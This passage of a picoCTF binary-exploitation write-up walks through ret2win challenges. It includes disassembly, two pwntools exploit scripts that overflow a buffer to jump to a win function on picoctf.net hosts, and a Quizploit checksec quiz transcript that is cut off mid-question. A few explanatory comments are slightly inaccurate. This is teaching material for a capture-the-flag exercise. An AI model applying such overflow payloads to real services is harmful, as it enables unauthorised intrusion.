&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040135c &amp;#x3C;+97&gt;:    call   0x401110 &amp;#x3C;printf@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401361 &amp;#x3C;+102&gt;:   lea    rdi,[rip+0xd10]        # 0x402078&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401368 &amp;#x3C;+109&gt;:   call   0x4010e0 &amp;#x3C;puts@plt&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x000000000040136d &amp;#x3C;+114&gt;:   mov    eax,0x0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401372 &amp;#x3C;+119&gt;:   leave&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   0x0000000000401373 &amp;#x3C;+120&gt;:   ret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;End of assembler dump.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We need to find the &lt;code&gt;win&lt;/code&gt; function location before &lt;code&gt;call read@plt&lt;/code&gt;, because registers need to be prepared to call a function. In x86_64, $rax is for return values, so the register storing our input is rbp-0x20. Based on stack layout, we need 32 (offset) + 8 (rbp) bytes to reach the return address:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; pwn &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;context.arch &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;amd64&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;elf &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; ELF(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;./vuln&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; remote(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;mysterious-sea.picoctf.net&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;58762&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Offset = 32 (offset) + 8 (rbp) = 40&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;win_addr &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; elf.symbols[&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;win&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;payload &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;A&apos;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 40&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; p64(win_addr)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.send(payload)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.interactive()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;echo-escape-2&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#echo-escape-2&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Echo Escape 2&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/736?category=6&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;Same method as previous problem&lt;/a&gt;—can follow the same pattern. Won’t write about it:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; pwn &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;context.arch &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;i386&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# 1. Connect&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; remote(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;dolphin-cove.picoctf.net&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;63023&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;elf &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; ELF(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;./vuln&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# 2. Define target address (win function)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;win_addr &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; elf.symbols[&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;win&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# 3. Construct Payload&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# 40(offset) + 4(rbp) bytes + target address&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;payload &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;A&apos;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 44&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; p32(win_addr)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# 4. Send and get Flag&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.sendline(payload)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;r.interactive()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;offset-cycle--offset-cyclev2&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#offset-cycle--offset-cyclev2&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;offset-cycle &amp;#x26; offset-cycleV2&lt;/h2&gt;
&lt;p&gt;Both are ret2win, but can only operate on their machine with time limits. On entry:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;./start&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’ll give you the challenge—the C code is the same, but if you don’t finish within the time limit, it resets. The offset changes each time. Write your exploit first, enter to find the offset, quickly exit to modify and execute. It’s a speed contest—nothing special.&lt;/p&gt;
&lt;h2 id=&quot;quizploit&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#quizploit&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Quizploit&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://play.picoctf.org/practice/challenge/727?category=6&amp;#x26;originalEvent=79&amp;#x26;page=1&quot;&gt;Download the executable&lt;/a&gt;—it’ll ask some questions. Answer all correctly and you get the flag.
First run with gdb:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;pwndbg&gt; checksec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;File:     /home/kali/Downloads/vuln&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Arch:     amd64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;RELRO:      Partial RELRO&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Stack:      No canary found&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;NX:         NX enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PIE:        No PIE (0x400000)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SHSTK:     Enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;IBT:       Enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Stripped:  No&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This reveals a lot. Keep the C code open for reference.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x1:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Is this a &apos;32-bit&apos; or &apos;64-bit&apos; ELF? (e.g. 100-bit)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Check if the system is x86_64 or x86. No compilation flag specified means default.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; 64-bit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✅                    ✅&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✅      Correct!      ✅&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✅                    ✅&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// From checksec, Arch: amd64 means 64 bits&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x2:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;What&apos;s the linking of the binary? (e.g. static, dynamic)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: The program uses standard library functions like fprintf, fgets, and system.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; dynamic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// From checksec we know RELRO is enabled—must be dynamic.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x3:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Is the binary &apos;stripped&apos; or &apos;not stripped&apos;?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: By default, binaries compiled without the -s flag contain debugging symbols.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; not stripped&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// checksec says&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x4:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Looking at the vuln() function, what is the size of the buffer in bytes? (e.g. 0x10)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Check the declaration in the function and answer in either hex or decimal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; 21&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Answer in source code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x5:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;How many bytes are read into the buffer? (e.g. 0x10)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Check the fgets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; 144&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Answer in source code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x6:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Is there a buffer overflow vulnerability? (yes/no)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Compare buffer size and input size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; yes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// fgets limits input larger than buffer, so BOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x7:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Name a standard C function that could cause a buffer overflow in the provided C code.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: (e.g. fprintf)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; fgets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x8:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;What is the name of function which is not called any where in the program?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Analyze the source&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; win&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Answer in source code&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0x9:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;What type of attack could exploit this vulnerability? (e.g. format string, buffer overflow, etc.)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Try interpreting the information gathered so far&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; buffer overflow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Same as question 6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0xa:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;How many bytes of overflow are possible? (e.g. 0x10)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Subtract values&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; 123&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// fgets size - buffer size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0xb:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;What protection is enabled in this binary?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Learn to use checksec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; NX&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// in checksec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0xc:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;What exploitation technique could bypass NX? (e.g. shellcode, ROP, format string)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;💡 Hint: Choose from the options&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&gt;&gt; ROP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;// Links explain what ROP is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] Question number 0xd:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;What is the address of &apos;win()&apos; in hex? (e.g. 0x4011eb)&lt;/span&gt;&lt;/span&gt;
